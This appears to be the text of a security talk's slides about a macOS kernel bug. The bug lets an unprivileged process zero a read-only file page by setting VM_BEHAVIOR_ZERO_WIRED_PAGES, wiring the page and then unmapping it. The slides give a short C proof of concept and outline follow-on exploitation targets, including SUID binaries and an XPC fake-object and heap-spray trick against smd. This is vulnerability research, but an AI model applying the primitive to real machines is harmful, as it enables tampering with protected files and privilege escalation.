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What goes wrong...

Optimizations

Bugs of ommision

Layering violations

(and so many race conditions...)



Virtual Memory VR techniques

1) Find an API

2) Figure out the intended semantics

3) Figure out the actual semantics

4) Do they match the use?



void pmap_copy_page(
ppnum_t         src,
ppnum_t         dest);

void pmap_zero_page(
ppnum_t         pn);

void pmap_copy_part_page(
ppnum_t         src,
vm_offset_t     src_offset,
ppnum_t         dst,
vm_offset_t     dst_offset,
vm_size_t       len);

void pmap_zero_part_page(
ppnum_t         pn,

    vm_offset_t     offset,
vm_size_t       len);

PMAP apis

void pmap_copy_part_lpage(
vm_offset_t     src,
ppnum_t         dst,
vm_offset_t     dst_offset,
vm_size_t       len);

void pmap_copy_part_rpage(
ppnum_t         src,
vm_offset_t     src_offset,
vm_offset_t     dst,
vm_size_t       len);



void pmap_zero_page(
    ppnum_t         pn)
{

assert(pn != vm_page_fictitious_addr);
bzero_phys((addr64_t) ptoa(pn), PAGE_SIZE);

}

This writes into the physmap - a 1:1 
physical to virtual mapping window



  if (entry->zero_wired_pages) {
    pmap_zero_page(VM_PAGE_GET_PHYS_PAGE(result_page));
    entry->zero_wired_pages = FALSE;
  }

vm_fault_unwire

/*

 * vm_map_delete: [ internal use only ]

 *

 *

static kmem_return_t

vm_map_delete(

vm_map_t                map,

vm_map_offset_t         start,

vm_map_offset_t         end

    pmap_zero_page(VM_PAGE_GET_PHYS_PAGE(result_page));



vm_fault_unwire

/*

 * vm_map_delete: [ internal use only ]

 *

 * Deallocates the given address range from the target map.

static kmem_return_t

vm_map_delete(

vm_map_t                map,

vm_map_offset_t         start,

vm_map_offset_t         end

    pmap_zero_page(VM_PAGE_GET_PHYS_PAGE(result_page));
  if (entry->zero_wired_pages) {
    pmap_zero_page(VM_PAGE_GET_PHYS_PAGE(result_page));
    entry->zero_wired_pages = FALSE;
  }

Ommision 1:
no permission checks here



/*

 * vm_map_behavior_set:

 *

 * Sets the paging reference behavior of the specified address

 * range in the target map.  Paging reference behavior affects

 * how pagein operations resulting from faults on the map will be

 * clustered.

 */

kern_return_t

vm_map_behavior_set(

vm_map_t        map,

vm_map_offset_t start,

vm_map_offset_t end,

vm_behavior_t   new_behavior)

if (new_behavior == VM_BEHAVIOR_ZERO_WIRED_PAGES) {

   entry->zero_wired_pages = TRUE;

Setting the flag

osfmk/mach/mach_vm.defs

Ommision 2:
no permission checks here



result = vm_fault_page(object,
  (VME_OFFSET(entry) + (va - entry->vme_start)),
  VM_PROT_NONE,
  TRUE, FALSE, &prot, &result_page, &top_page,
  (int *)0, NULL, map->no_zero_fill, &fault_info);

permissions

semantics

implementation
if (entry->zero_wired_pages) {
    pmap_zero_page(VM_PAGE_GET_PHYS_PAGE(result_page));

object = (entry->is_sub_map) ?
         VM_OBJECT_NULL : VME_OBJECT(entry);

vm_objectvme
r--

vm_object vm_page

vm_page rw- physical page in physmap

Aspect 3:
wrong fault type?



mach_vm_deallocate(mach_task_self(),
                   (mach_vm_address_t)page,
                   PAGE_SIZE);

PoC

int fd = open(file_path, O_RDONLY);

void* page = mmap(0, PAGE_SIZE, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);

mach_vm_behavior_set(mach_task_self(),
                     (mach_vm_address_t)page,
                     PAGE_SIZE,
                     VM_BEHAVIOR_ZERO_WIRED_PAGES);

mlock(page, PAGE_SIZE);







Deny lists?

Config files?

Databases?

Cryptographic material?

Code?

Targets

eg DATA_CONST fixup chains 
exploit from Mac Dirty Cow







add [rax], al... ~ NOP?!

00's hacking time!



SUID binaries?

Stack misalignment?

IPC services?

Shared Cache?

Ideas



/usr/libexec/smd

call into shared cache

com.apple.xpc.smd

size_t len = 0;
uint8_t* buf =
  xpc_dictionary_get_data(request,
                         "authref",
                         &len);
if (buf && (len == 32)) {
  void* authref = 0;
  AuthorizationCreateFromExternalForm(buf,
                                      &authref);
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/usr/libexec/smd



/usr/libexec/smd



/usr/libexec/smd



/usr/libexec/smd

void
xpc_dictionary_set_value(
  xpc_object_t dictionary,
  const char *key,
  xpc_object_t value);



/usr/libexec/smd

void
xpc_dictionary_set_value(
  xpc_object_t dictionary,
  const char *key,
  xpc_object_t value);

size_t len = 0;
uint8_t* buf =
  xpc_dictionary_get_data(request,
                         "authref",
                         &len);
if (buf && (len == 32)) {
  void* authref = 0;
  AuthorizationCreateFromExternalForm(buf,
                                      &authref);



/usr/libexec/smd

void
xpc_dictionary_set_value(
  xpc_object_t dictionary,
  const char *key,
  xpc_object_t value);

size_t len = 0;
uint8_t* buf =
  xpc_dictionary_get_data(request,
                         "authref",
                         &len);
if (buf && (len == 32)) {
  void* authref = 0;
  xpc_dictionary_set_value(buf, &authref,
                           buf & 0xffffffff);



authref backing buffer

0x20

0x20

class

fake object

10 year old xpc pwnage tricks (x86 only!)

object

key (\x00)

fake xpc_dictionary
linked list

selector cache ptr

cache mask

flags

fake class

sel("release")

RIP ^ &fake_class

fake selector cache

shared memory heapspray

_OS_XPC_DICTIONARY

hash bucket of ""



Takeaways

Was that feature ever actually used?

Weird machines are weird

There must be better tricks for iOS!

Post-MIE weird tricks become even more valuable



Questions?


